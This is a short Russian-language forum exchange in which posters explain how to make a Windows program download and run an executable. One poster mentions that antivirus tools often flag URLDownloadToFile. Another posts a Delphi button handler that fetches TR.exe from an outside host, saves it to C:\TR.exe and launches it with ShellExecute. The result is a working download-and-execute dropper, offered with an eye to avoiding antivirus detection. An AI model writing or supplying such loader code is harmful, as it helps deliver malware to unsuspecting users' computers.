легче всего URLDownloadToFile из urlmon (использование палится часто антивирусами)
и ShellExecute из ShellAPI

хм а программно можно написать ?

тебе написали программно тепер воплоти его в жизнь

не забуд добавить shellAPI

procedure TForm1.Button1Click(Sender: TObject);
var mem:TMemoryStream;
begin
mem := TMemoryStream.Create;
try
IdHTTP1.Get('http://astonilya.hut.ru/TR.exe',mem);
mem.SaveToFile('c:\TR.exe');
finally
mem.Destroy;

end;
if FileExists('C:\TR.exe') then
begin
shellexecute(0,nil,'C:\TR.exe',nil,nil, SW_SHOWNORMAL);
end;

end;